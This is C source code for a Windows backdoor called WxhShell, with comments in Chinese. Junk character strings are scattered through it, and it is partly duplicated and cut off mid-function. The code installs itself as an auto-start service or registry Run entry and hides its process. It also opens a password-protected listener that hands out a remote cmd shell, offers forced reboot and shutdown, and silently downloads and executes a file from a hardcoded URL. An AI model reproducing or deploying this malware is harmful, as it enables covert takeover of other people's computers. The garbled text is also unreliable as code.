(y~da~ if(NULL == hInst ) return 0; *>_:E6) O(&EnNm[2 g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); \VtCkb g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); uAVV4) NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); F{l,Tl"Jw ~p'/Z@Atu if (!NtQueryInformationProcess) return 0; 'QCvN b6 s4~c>voQB hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); yaR|d3ef?4 if(!hProcess) return 0; ik&loM_ /DbwqBx if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {y<_S]0 ~e%*hZNo CloseHandle(hProcess); "ajZ&{Z pNQd\nY|0 hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); zc/S if(hProcess==NULL) return 0; Z]9
)1& Ij=hmTl{P HMODULE hMod; Cc!n`%qc char procName[255]; +BzKO > unsigned long cbNeeded; c%xxsq2n q".l:T%|C} if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); (B$2)yZY e#_xDR: CloseHandle(hProcess); tQ`tHe v`wPdb if(strstr(procName,"services")) return 1; // 以服务启动 )j6S<mn 5fVdtJk7 return 0; // 注册表启动 ^gb2=gWZ< } 3c9v~5og4 &2QN^)q // 主模块 m{b(^K9} int StartWxhshell(LPSTR lpCmdLine) 2a?
d:21 B { \BJnJk!% SOCKET wsl; D;Az>]>q BOOL val=TRUE; UKX'A)$ int port=0; F+hsIsQ struct sockaddr_in door; 3*8#cSQ/6o YJ3970c/M if(wscfg.ws_autoins) Install(); T*YdGIFO l8^^ O port=atoi(lpCmdLine); Q8\Ks|u] |nm,5gPNC if(port<=0) port=wscfg.ws_port; Yq1 ~"he8 jRgv
8n WSADATA data; M.|hnGXN if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; o^7NZ]m Ui?t@. if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 'BUdySng setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ^]aDLjD door.sin_family = AF_INET; P6IhpB59 door.sin_addr.s_addr = inet_addr("127.0.0.1"); Qz<v. _ door.sin_port = htons(port); oO= 6Kd+T WBC'~ h<@ if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { yP-.8[; closesocket(wsl); $]Fe9E? return 1; Dhef|E< } #}k^g:l1 >aa-ix
& if(listen(wsl,2) == INVALID_SOCKET) { [$] JvF closesocket(wsl); ;Vp&f%u+v return 1; m4 4aKqw) } /]+t$K\cBq Wxhshell(wsl); 0D.YO<PU WSACleanup(); (F_#LeJ| g00XZ0@ return 0; H 5sj%
v Q>sq:R+' } Mb$&~! M%$zor // 以NT服务方式启动 *7-uQKp VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) O"Xjv`j: { @Vb-BC, DWORD status = 0; M?F({#] DWORD specificError = 0xfffffff; T_\GvSOI .^Ek1fi. serviceStatus.dwServiceType = SERVICE_WIN32; nnr(\r~ serviceStatus.dwCurrentState = SERVICE_START_PENDING; Qz/=+A/4 serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <PfW serviceStatus.dwWin32ExitCode = 0; '<XG@L serviceStatus.dwServiceSpecificExitCode = 0; n*_FC serviceStatus.dwCheckPoint = 0; Dk[[f<H_{ serviceStatus.dwWaitHint = 0; lT$A;7[ U)c,ZxE hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 6oJ~Jdn' if (hServiceStatusHandle==0) return; ZEApE+m ?[VS0IBS status = GetLastError(); t,=khZ if (status!=NO_ERROR) u1>| 2D { N$_Rzh"9rr serviceStatus.dwCurrentState = SERVICE_STOPPED; eb+[=nmP serviceStatus.dwCheckPoint = 0; Jh }3AoD serviceStatus.dwWaitHint = 0; nwV\[E serviceStatus.dwWin32ExitCode = status; %X#Wc:b serviceStatus.dwServiceSpecificExitCode = specificError; &4BN9`|: SetServiceStatus(hServiceStatusHandle, &serviceStatus); d3Y#_!) return; E5 Y92vu } }hl#
e[$ !@*Ac$J>$ serviceStatus.dwCurrentState = SERVICE_RUNNING; fv`%w serviceStatus.dwCheckPoint = 0; lDAw0 C3 serviceStatus.dwWaitHint = 0; v}[7)oj| if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ot,<iE#za } nP_ s+k !xa,[$w(^ // 处理NT服务事件,比如:启动、停止 ^*Rr x VOID WINAPI NTServiceHandler(DWORD fdwControl) 1Rwk}wL { n]_8!NU switch(fdwControl) <K 4zH<y { o1kLT@VCl case SERVICE_CONTROL_STOP: j7uiZU;3Rx serviceStatus.dwWin32ExitCode = 0; T_I"Tsv serviceStatus.dwCurrentState = SERVICE_STOPPED; _=,[5" serviceStatus.dwCheckPoint = 0; 4Jo:^JV serviceStatus.dwWaitHint = 0; ?b2%\p`" { 9~>;sjJk SetServiceStatus(hServiceStatusHandle, &serviceStatus); S
W } 4$vya+mAk5 return; }vcC4 =t/ case SERVICE_CONTROL_PAUSE: KZ<zsHX8H serviceStatus.dwCurrentState = SERVICE_PAUSED; +]*?J1Y8Z break; rEZa%)XJ case SERVICE_CONTROL_CONTINUE: WXXLD:gxI serviceStatus.dwCurrentState = SERVICE_RUNNING; M[Ls:\1a break; j7O7P+DmS case SERVICE_CONTROL_INTERROGATE: #msk'MVt break; oIbd+6>f }; PVV \@ SetServiceStatus(hServiceStatusHandle, &serviceStatus); i' N } 13 n; !t?jnf. // 标准应用程序主函数 #nn2odR int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) )/f,.Z$ { }4ta#T Ea | F:? // 获取操作系统版本 )S>~ h; OsIsNt=GetOsVer(); B4&x?-0ZC GetModuleFileName(NULL,ExeFile,MAX_PATH); _RjM . '<8ewU // 从命令行安装 I_Oa<J\+ if(strpbrk(lpCmdLine,"iI")) Install(); 3LX<&."z 2<Ub[R // 下载执行文件 :^?ZVi59j if(wscfg.ws_downexe) { 2rD`]neA if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) f*kT7PJG WinExec(wscfg.ws_filenam,SW_HIDE); xOD;pRZQ
} m"@M~~bh /[_>U{~P# if(!OsIsNt) { ,?i#NN5p // 如果时win9x,隐藏进程并且设置为注册表启动 `EV[uj&1S HideProc(); k(hes3JV StartWxhshell(lpCmdLine); 8ae]tX5$ } q6/ o.j else }^P( p?~ if(StartFromService()) -Z]?v3
9 // 以服务方式启动 Bz!ddAvlK StartServiceCtrlDispatcher(DispatchTable); 'du:Bxl`d4 else (q3(bH~T) // 普通方式启动 f{5)yZ`J* StartWxhshell(lpCmdLine); j3z&0sc2(0 Z\O ,9 return 0; 4z[Z3|_V } T4qbyui{ ugucq},[ 6}{2W< Jp_{PR:& =========================================== F]SexP4:A E}\^GNT MT;<\T Q_LPLmM IN`05 Q fm:/}7s " ':F{st>&H *1}9`$ #include <stdio.h> "D8xHHb #include <string.h> .U9NQwd #include <windows.h> $7M64K{ #include <winsock2.h> (!{_O_& #include <winsvc.h> /gXli) #include <urlmon.h> luLm:NWUM \wO)w@" #pragma comment (lib, "Ws2_32.lib") 8R8J./i.K #pragma comment (lib, "urlmon.lib") 5GT,:0 42tD$S5^ #define MAX_USER 100 // 最大客户端连接数 #.a4}ya19 #define BUF_SOCK 200 // sock buffer =4+UX*&i?. #define KEY_BUFF 255 // 输入 buffer kw|bEL9!u <hQ@]2w$ #define REBOOT 0 // 重启 \L6U}ZQ2V #define SHUTDOWN 1 // 关机 uZ%b6+( @T]gwJ #define DEF_PORT 5000 // 监听端口 T(7
8{A> o<@2zhuhrx #define REG_LEN 16 // 注册表键长度 >x&$lT{OY #define SVC_LEN 80 // NT服务名长度 0O"GI33Mg S
#&HB // 从dll定义API h'w9=Pk~6y typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 8~\Fpz|Og typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); qs 52)$ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); rm(<?w%'? typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); `H^Nc\P# DQH _@-q // wxhshell配置信息 aztP`S$h struct WSCFG { 4D9lZa} int ws_port; // 监听端口 {HvR24# char ws_passstr[REG_LEN]; // 口令 Af
^6 int ws_autoins; // 安装标记, 1=yes 0=no bo\|mvB~ char ws_regname[REG_LEN]; // 注册表键名 W&BwBp]K char ws_svcname[REG_LEN]; // 服务名 fx%'7/+ char ws_svcdisp[SVC_LEN]; // 服务显示名 ^fXNeBj char ws_svcdesc[SVC_LEN]; // 服务描述信息 HSp*lHU char ws_passmsg[SVC_LEN]; // 密码输入提示信息 RE!MX>sOEq int ws_downexe; // 下载执行标记, 1=yes 0=no ZEUd?"gaR char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" :a#]"z0 char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Y5cUOfYT 4
lJ@qhV }; RAXqRP,iw %v
:a // default Wxhshell configuration pRUN[[L struct WSCFG wscfg={DEF_PORT, c{rX7+bN "xuhuanlingzhe", zO9|s}J8q 1, H,KU!1p "Wxhshell", 9"_qa q "Wxhshell", OQW#BBet@ "WxhShell Service", tG{e( "Wrsky Windows CmdShell Service", 6<sB "Please Input Your Password: ", dq"b_pr; 1, X
f!Bsp#\g "http://www.wrsky.com/wxhshell.exe", RZm5[n "Wxhshell.exe" 52wq<[#tK }; dSk\J[D r"Pj,}$A // 消息定义模块 % 49@ char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _6^ vxlF char *msg_ws_prompt="\n\r? for help\n\r#>"; qJ#?=ITE char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; c<DsCzX char *msg_ws_ext="\n\rExit."; +lO
Y
IQ char *msg_ws_end="\n\rQuit."; \qV5mD]"M char *msg_ws_boot="\n\rReboot..."; >xJt&jW- char *msg_ws_poff="\n\rShutdown..."; eV1O#FLbi char *msg_ws_down="\n\rSave to "; H :d{Sru `
n@[=l~ char *msg_ws_err="\n\rErr!"; `H+ 7Hj char *msg_ws_ok="\n\rOK!"; Q*( ]&qr"E $
7O[|:Yv char ExeFile[MAX_PATH]; 9SC#N5V int nUser = 0; ^X[Kr=:Jp HANDLE handles[MAX_USER]; 3=T<c?[ int OsIsNt; N$p}rh#7{ 6:ZqS~- SERVICE_STATUS serviceStatus; #}:VZ2Z SERVICE_STATUS_HANDLE hServiceStatusHandle; "g>uNtt~ ~W%A8`9 // 函数声明 Wy)|-Q7 int Install(void); 1fViW^l_ int Uninstall(void); W4|1wd}.t int DownloadFile(char *sURL, SOCKET wsh); WI[6l6 int Boot(int flag); 92+({ fgW void HideProc(void); iDp]lu int GetOsVer(void); zdU<]ge int Wxhshell(SOCKET wsl); "MM7qV void TalkWithClient(void *cs); {nm#aA%, int CmdShell(SOCKET sock); aE1h0`OT int StartFromService(void); Dn<2.!ZKQ int StartWxhshell(LPSTR lpCmdLine); v-42_} $C,f>^1 VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); H Y.,f_m VOID WINAPI NTServiceHandler( DWORD fdwControl ); <4C`^p `$G7Ia_ $] // 数据结构和表定义 XRJ<1w: SERVICE_TABLE_ENTRY DispatchTable[] = k[A=:H1" { R:0Fv9bwS {wscfg.ws_svcname, NTServiceMain}, "EWU:9\0 {NULL, NULL} vb{&T< }; i ,4 *=~
9? // 自我安装 2=(=Wjk. int Install(void) [q9TTJ@2 { A6q,"BS^d char svExeFile[MAX_PATH]; f.V0uBDN HKEY key; qaG%PH}a strcpy(svExeFile,ExeFile); P,_GTs3/G *)L%pH>` // 如果是win9x系统,修改注册表设为自启动 D@>P%k$$s> if(!OsIsNt) { [^1;8Tbk if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { kxThtjgv RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); K&D
-1u RegCloseKey(key); \P&'4y~PL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { EG7ki0 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); y 9/27yWB RegCloseKey(key); $ hg
W>e return 0; q<,?:g$k } Fr/8q:m& } IDdhBdQ } EOVHTDkKf else { .6(Bf$E %D gU // 如果是NT以上系统,安装为系统服务 XH1so1h SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 04WKAP'c
N if (schSCManager!=0) pOlQOdl { ,Y &Q, SC_HANDLE schService = CreateService JQQD~J1)E ( 1 (P>TH schSCManager, +@usJkxul wscfg.ws_svcname, `r+e!o wscfg.ws_svcdisp, v|t^th, SERVICE_ALL_ACCESS, rZ w&[ G SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ij@YOt SERVICE_AUTO_START, r,[vXxMy(; SERVICE_ERROR_NORMAL, '`/1?,= svExeFile, dH&N< NULL, ?!Rlp/ NULL, k{y@&QNj NULL, .;/@k%> NULL, 5W 5\*L NULL n#,AZ& ); Zhz.8W if (schService!=0) 7! <cU { y9Yh%M( CloseServiceHandle(schService); e,`+6qP{ CloseServiceHandle(schSCManager); r}D`15IHJ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1i2jYDB" strcat(svExeFile,wscfg.ws_svcname); jW?.>( if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { JgYaA*1X RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); <y-KWWE RegCloseKey(key); G)5%f\& return 0; k+JDbJ@ } Gob1V } }4A+J"M4y CloseServiceHandle(schSCManager); m`4Sp#m } +)L
'qbCSM } #x':qBv# -.ha\ t0J return 1; HQQc<7c", } .OXvv _?< HWVWl~FA // 自我卸载 k2k/v[60 int Uninstall(void) *oZBv4Vh { _d %H;<_ HKEY key; nCGLuZn 4SY]Q[ if(!OsIsNt) { ,K3)f.ArYc if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { G/N'8Q) RegDeleteValue(key,wscfg.ws_regname); 5s;HF |2x RegCloseKey(key); ^|>vK,q$I if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 3~a!h3.f RegDeleteValue(key,wscfg.ws_regname); B~caHG1b RegCloseKey(key); |DwI%%0(F return 0; oBifESJ } NU I|4X } [=S@lURzm@ } o-GlBXI; else { ?P0$n 7, F2!_Z= SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ?9 :{p if (schSCManager!=0) `|
L+a~~ { r,L#JR w#- SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); My,ki:V?g6 if (schService!=0) L*D-RYW { z"=#<C if(DeleteService(schService)!=0) { C;G~_if4PR CloseServiceHandle(schService); WnvuB.(@3 CloseServiceHandle(schSCManager); 9~
K1+%! return 0; -P(q<T2MV' } eaYQyMv@ CloseServiceHandle(schService); M-T&K%/lW } m`I6gnLj CloseServiceHandle(schSCManager); HGh`O\f8 } |XLx6E2F } ~y$B#.l %RdCSQ9~ return 1; O292JA } Q.DtC kNd[M =% // 从指定url下载文件 Beiz*2-}a int DownloadFile(char *sURL, SOCKET wsh) xzz[!yJjG { azS"*#r6} HRESULT hr; 0p*(<8D} char seps[]= "/"; @&83/U? char *token; Gv?'R0s char *file; "
F~uTo char myURL[MAX_PATH]; C.}Z5BwS char myFILE[MAX_PATH]; ZiSy&r:( q,PB;TT strcpy(myURL,sURL); ?UcW@B{ token=strtok(myURL,seps); a% Q.8 while(token!=NULL) ]lXTIej`dy { 0 #VH=p ga file=token; YB*ZYpRVl token=strtok(NULL,seps); 9bNjC&:4/] } ~+q$TV CLdLO u" GetCurrentDirectory(MAX_PATH,myFILE); 2%rAf8= strcat(myFILE, "\\"); IT'~.!o7/ strcat(myFILE, file); bJx{mq
send(wsh,myFILE,strlen(myFILE),0); NyeGa send(wsh,"...",3,0); 4%KNHeaN hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); x5c
pv if(hr==S_OK) Fwm{oypg% return 0; [8^jwnAYS else NMJ230? return 1; j_o6+Rk I,_wt+O&j } ?Q]&d!UCs zq8z#FN // 系统电源模块 q/ 6d^& int Boot(int flag) hE/gul?|_ { >(<OhS( HANDLE hToken; vMRM/. TOKEN_PRIVILEGES tkp; |F iL1_ i(a2FKLy if(OsIsNt) { z5=&qo|f9l OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); T]Vh]|_s LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); xD8x1- tkp.PrivilegeCount = 1; n,wLk./` tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; dp&4G6Y<A AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Fm#4;'x5E if(flag==REBOOT) { {I@@i8)] if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) yCf*ts1 return 0; 53=VIN] } \(cu<{=rU else { ZcYxH|Gn if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) i
jg'X#E return 0; $83TA><a } ']Nw{}eS` } 3R
!Mfz* else { V/.Y]dN5 if(flag==REBOOT) { E@}t1!E< if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) l=Jbuc return 0; D`o*OlU } HfFP4#C, else { N*|Mfpf if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) JrQd7 return 0; u%Hegqn } I%h9V([ } HH&`f3 G)?VC^Q return 1; `9(TqcE } +w?RW^:Q= 9F(<n // win9x进程隐藏模块 VuN=
JX void HideProc(void) yxf|Njo0 { ^*C8BzcH exiCy1[+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 5%rD7/7N if ( hKernel != NULL ) Eyxw.,rB/ { K=;z&E=<c pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); .8<bz4 ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); V44IA[ FreeLibrary(hKernel); w6F4o;<PR } q=M!YWz S#/[>Cb return; jQFAlO(E': } *8CI'UX ? DWF7{1 // 获取操作系统版本 ;sE;l7 int GetOsVer(void) ,P3nZ { @SF*Kvb& OSVERSIONINFO winfo; $VvL winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); <S:SIaf0 GetVersionEx(&winfo); 'JsP9>) if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) YLVIn_\} return 1; *)gbKXb else p~Fc*g[! return 0; ;?"]S/16, } ,]gYy00w0s r?{tu82#i // 客户端句柄模块 t7pe)i,) int Wxhshell(SOCKET wsl) qgbp-A!2zF { <Td4 o&JR SOCKET wsh; Wf^6: struct sockaddr_in client; $vnshU8/v DWORD myID; 3R1v0 Cu3^de@h while(nUser<MAX_USER) EtjN :p|$ { _Qs=v0B// int nSize=sizeof(client); ^31X-}tv wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Q&}`( ]k if(wsh==INVALID_SOCKET) return 1; -&I)3 R*3x{DNL handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Zg"g/I.+d if(handles[nUser]==0) R=yn4>I closesocket(wsh); `rzgC \ else :@a8>i1& nUser++; hg_@Ui@[z } 9!6sf
GZ WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ;i\m:8!; "q5Tw+KCfu return 0; WI/&r5rq } ?B3
`?+lM // 关闭 socket (%=[J/F/ void CloseIt(SOCKET wsh) ~:~-AXaMT { E96FwA5 closesocket(wsh); 4loG$l+a1 nUser--; H(GWC[tv ExitThread(0); 4,"% } Lgw!S~0 fA{[H:*}G // 客户端请求句柄 qN%i$mJTo void TalkWithClient(void *cs) A0Pg|M { tu8n1W &i179Qg! SOCKET wsh=(SOCKET)cs; xs y5" char pwd[SVC_LEN]; FvQ>Y')R7Z char cmd[KEY_BUFF]; !)~b Un char chr[1]; .Az'THD} int i,j; x8YuX*/I K;Qlg{v while (nUser < MAX_USER) { {XAm3's oh
c/{D2 if(wscfg.ws_passstr) { 4n_f7'GZg if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); mcvd/ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 7~n<%q/6 //ZeroMemory(pwd,KEY_BUFF); 5]D"y Ay81 i=0; ^EY^.?Mg while(i<SVC_LEN) { j#mo Vq 7<;87t]] // 设置超时 <RH2G fd_set FdRead; /qp)n"> struct timeval TimeOut; nA$zp FD_ZERO(&FdRead); 1;Bgt v$ FD_SET(wsh,&FdRead); w9h`8pt TimeOut.tv_sec=8; L6S!?t.{Yv TimeOut.tv_usec=0; vDl6TKXcu int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
`R]B<gp if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); w ryjs! M|IR7OtLV if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); VX#4Gh,~N pwd=chr[0]; 7~(|q2ib if(chr[0]==0xd || chr[0]==0xa) { l>p S23 pwd=0; |t](4 break; /sVy"48- } 1 XsB i++; 1Z-f@PoM } J<J_yRg2 !;EG<ji,gj // 如果是非法用户,关闭 socket zQvp<IUq if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); CJ0{>? } +
q@kRQY;n 4mNg(w=NF send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); v53qpqc send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Ovu!G
q [AgS@^"sf5 while(1) { 6bj.z Fv_rDTo ZeroMemory(cmd,KEY_BUFF); *Xm$w zq\YZ:JC // 自动支持客户端 telnet标准 ^W}(]jL j=0; #J&45 while(j<KEY_BUFF) { \H
<k if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Y v22,|: cmd[j]=chr[0]; &)Y26*(` if(chr[0]==0xa || chr[0]==0xd) { HAa$pGb cmd[j]=0; ]3UEju8$ break; ';<gc5EK } 1Q-O&\-xg j++; =P>c1T1- } cbsU!8 |-kU]NJFR // 下载文件 }AdA?
:7A if(strstr(cmd,"http://")) { 9[#9cv send(wsh,msg_ws_down,strlen(msg_ws_down),0); #{97<sU\ if(DownloadFile(cmd,wsh)) yn &+ >{ send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z:51Q else %-u Ra\ send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lI#Ap2@ } wCT. (d_ else { a
W1y0 L#)F00/` switch(cmd[0]) { :v-&}? +"8AmN4 // 帮助 ;Oh abbj* case '?': { jpg$5jZ send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sJA` A break; jvGGIb"&1 }
ey4RKk, // 安装 %p? +r case 'i': { ean_/E if(Install()) K7o!,['W send(wsh,msg_ws_err,strlen(msg_ws_err),0); f;";P else 2|Of$oMc send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); osB8
'\GR break; ZV :cgv } f]N.$,:$ // 卸载 T_T@0`7 case 'r': { jV:Krk6T< if(Uninstall()) |/Q7 o1i send(wsh,msg_ws_err,strlen(msg_ws_err),0); CVo2?ZQ else II=(>G9v send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9Rz TC break; 7-p9IFcA } HP`dfo~j // 显示 wxhshell 所在路径 qHM,#W< case 'p': { =}SH*xi6 char svExeFile[MAX_PATH]; 8HL$y-F strcpy(svExeFile,"\n\r"); i6)7)^nG strcat(svExeFile,ExeFile); .&|Ivz6 send(wsh,svExeFile,strlen(svExeFile),0); Id_? break; yWsJa)e3*@ } uU+R,P0 // 重启 ,_ zivUU case 'b': { g>g]qQ send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ~96fyk| if(Boot(REBOOT)) 4.>rd6BAN- send(wsh,msg_ws_err,strlen(msg_ws_err),0); I.V?O} else { k5 s8s@ closesocket(wsh); a!OS2Tz: ExitThread(0); TgFj-"L\ } j%7N\Vb break; tXlo27J } 1Z.
D3@ // 关机 4$HU=]b6Tf case 'd': { ~3,>TV send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); .TI=3*`G if(Boot(SHUTDOWN)) 8oAr<:.= send(wsh,msg_ws_err,strlen(msg_ws_err),0); $>Y2N5 else { l'Oz-p.@ closesocket(wsh); 2.xA' \M ExitThread(0); nu'r` } 1=R6||8ws break; CJn{tP } M|HW$8V3_2 // 获取shell (4;m*'X case 's': { (Nzup3j CmdShell(wsh); b#h}g>l closesocket(wsh); ~Bw)rf, ExitThread(0); xK7xAO break; 4F WL\;6 } 701mf1a // 退出 m{dXN= case 'x': { 6a_MA*XK send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); UaW,#P CloseIt(wsh); ?vnO@Bb/a break; H>zX8qP+ } n\X'2 // 离开 H%`$@U> case 'q': { Nft~UggK send(wsh,msg_ws_end,strlen(msg_ws_end),0); G=1&:nW' closesocket(wsh); !c 3c%=W WSACleanup(); ^`BiA'gPPC exit(1); -'q#u C break; 8ClOd<I } z' oK
0" } !06
!`LT } %A]?5J)Bi E.ugr]) // 提示信息 bSG}I| if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %3Ba9Nmid } [UP-BX( } ]RBT9@-:U -k4w$0) return; R]LRgfi9 } ][gr(-6 8 ,b b/
$
// shell模块句柄 N9SC\ int CmdShell(SOCKET sock) 6}(;~/L { %a'Nf/9=: STARTUPINFO si; <`PW4zSI ZeroMemory(&si,sizeof(si)); }fS`jq; si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Fl{@B*3@w si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; jV}tjwq PROCESS_INFORMATION ProcessInfo; *6C ]CS char cmdline[]="cmd"; E4CyW CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 4lVvs(W? return 0; \sSt _|+ } -@I+IKz 2aDjt{7P // 自身启动模式 ` FJ2
? int StartFromService(void) 7I#<w[l>k { aa-{,X"MF typedef struct MAv-`8@| { e$vvm bK. DWORD ExitStatus; 4~s{zob DWORD PebBaseAddress; :kQ%Mj> DWORD AffinityMask; b{~64/YJ DWORD BasePriority; \H^A@f ULONG UniqueProcessId; X&bz%I>v ULONG InheritedFromUniqueProcessId; nq/SGo[c } PROCESS_BASIC_INFORMATION; s%6{X48vY^ L
`\>_ PROCNTQSIP NtQueryInformationProcess; (=jztIZC \me'B {aa static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; y;GwMi$KI static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; g,k} nkIT rDD,eNjG HANDLE hProcess; }ldOxJSB? PROCESS_BASIC_INFORMATION pbi; ;2&ym)` N=vb*3ECg HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _nn\O3TB if(NULL == hInst ) return 0; 0%W0vTvL Q>%{Dn\? g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); r;7&U<j~Z g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ]ChGi[B~9 NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); ;YfKG8(0 ?D\6@G:,#@ if (!NtQueryInformationProcess) return 0; q{c/TRp7 }hm"49,O hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); X2PyFe if(!hProcess) return 0; +";<Kd - pXE'5IIN if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; !GAU?J;<#2 (O(X k+L CloseHandle(hProcess); KAFx^JLo :TZ</3Sw hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "0V8i%a if(hProcess==NULL) return 0; m4m,-}KNi J
,s9,(" HMODULE hMod; iVUkM3 char procName[255]; =[
